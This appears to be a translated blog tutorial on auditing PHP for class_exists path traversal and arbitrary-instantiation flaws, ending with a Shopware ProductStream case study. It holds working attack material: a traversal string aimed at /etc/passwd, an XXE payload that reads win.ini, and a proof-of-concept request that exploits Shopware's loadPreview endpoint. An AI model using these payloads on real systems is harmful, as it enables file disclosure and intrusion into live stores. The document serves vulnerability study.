PHP audit of class_exists and arbitrary instantiation vulnerabilities

created at 10-08-2021 views: 13

Preface

It is very interesting to find some vulnerable functions of PHP, follow the article of Master July Fire to learn.

class_exists function

Function description

class_exists: (PHP 4, PHP 5, PHP 7)

Function: Check whether the class is defined

Definition: bool class_exists (string $class_name[, bool $autoload = true])

$class_name is the name of the class, and it is not case sensitive when matching. By default, $autoload is true. When $autoload is true, the __autoload function in this program will be automatically loaded; when $autoload is false, the __autoload function will not be called.

Function vulnerabilities

The class_exists() function is used to determine whether the controller passed by the user exists. By default, if the program has the __autoload function, then the __autoload function in the program will be automatically called when the class_exists() function is used. The file for this question contains The loophole appeared in this place. Attackers can use path traversal to include any file. Of course, the premise of using path traversal symbols is PHP5~5.3 (including version 5.3). For example, the search for the class name: ../../../../etc/passwd will check the contents of the passwd file.

Case Analysis

Case Analysis

Combine the above class_exists function vulnerability to see the above code.

Accept the value over $controllerName and then call class_exists to pass in the variable, and the $autoload parameter value of class_exists is not set, the parameter defaults to True, it will automatically call the __autoload function in this class, which happens to be File inclusion, that is, any file contains vulnerabilities.

Seeing the ninth line of code, a parameter value received is new at this position, and any class instantiation can be implemented. But there are no classes in this code that can directly implement command execution or other operations in the __construct constructor.

So here we use the SimpleXMLElement class to implement an XXE in the instantiation.

See demo

<?php 
$xml = '<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>';
$xxe = new SimpleXMLElement($xml);
var_dump($xxe)
?>

//result:
    object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }

The content of win.ini is read.

Code audit

Here is Shopware for an audit

The vulnerability is in the loadPreviewAction method of engine\Shopware\Controllers\Backend\ProductStream.php.

Route access is /Backend/ProductStream/loadPreviewAction

See the loadPreviewAction method code

    public function loadPreviewAction()
    {
        $conditions = $this->Request()->getParam('conditions');
        $conditions = json_decode($conditions, true);

        $sorting = $this->Request()->getParam('sort');

        $criteria = new Criteria();

        /** @var RepositoryInterface $streamRepo */
        $streamRepo = $this->get('shopware_product_stream.repository');
        $sorting = $streamRepo->unserialize($sorting);

        foreach ($sorting as $sort) {
            $criteria->addSorting($sort);
        }

        $conditions = $streamRepo->unserialize($conditions);

Receive the value of the sort parameter and perform json_decode, and then

Get the content of shopware_product_stream.repository here, and then call unserialize.

unserialize

    public function unserialize($serializedConditions)
    {
        return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
    }

Track this unserialize

unserialize code of LogawareReflectionHelper.php

 public function unserialize($serialized, $errorSource)
    {
        $classes = [];

        foreach ($serialized as $className => $arguments) {
            $className = explode('|', $className);
            $className = $className[0];

            try {
                $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
            } catch (\Exception $e) {
                $this->logger->critical($errorSource . ': ' . $e->getMessage());
            }
        }

        return $classes;
    }

Traverse $serialized, this $serialized is the data passed by our sort and decrypted by json_deocode.

Then I called createInstanceFromNamedArguments, followed up the method, and found that reflection created an instantiated object. It feels similar to reflection in Java.

 public function createInstanceFromNamedArguments($className, $arguments)
    {
        $reflectionClass = new \ReflectionClass($className);

        if (!$reflectionClass->getConstructor()) {
            return $reflectionClass->newInstance();
        }

        $constructorParams = $reflectionClass->getConstructor()->getParameters();

        $newParams = [];
        foreach ($constructorParams as $constructorParam) {
            $paramName = $constructorParam->getName();

            if (!isset($arguments[$paramName])) {
                if (!$constructorParam->isOptional()) {
                    throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
                }
                $newParams[] = $constructorParam->getDefaultValue();

                continue;
            }

            $newParams[] = $arguments[$paramName];
        }

        return $reflectionClass->newInstanceArgs($newParams);
    }

After analyzing the above, it is actually obvious that it is an arbitrary instantiation vulnerability like the above example.

Then you can also use the SimpleXMLElement class to achieve the effect of an XXE, of course, you can also find some __construct functions that do other operations such as command execution or file reading can also be used.

The POC is as follows:

/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25
created at:10-08-2021
edited at: 10-08-2021: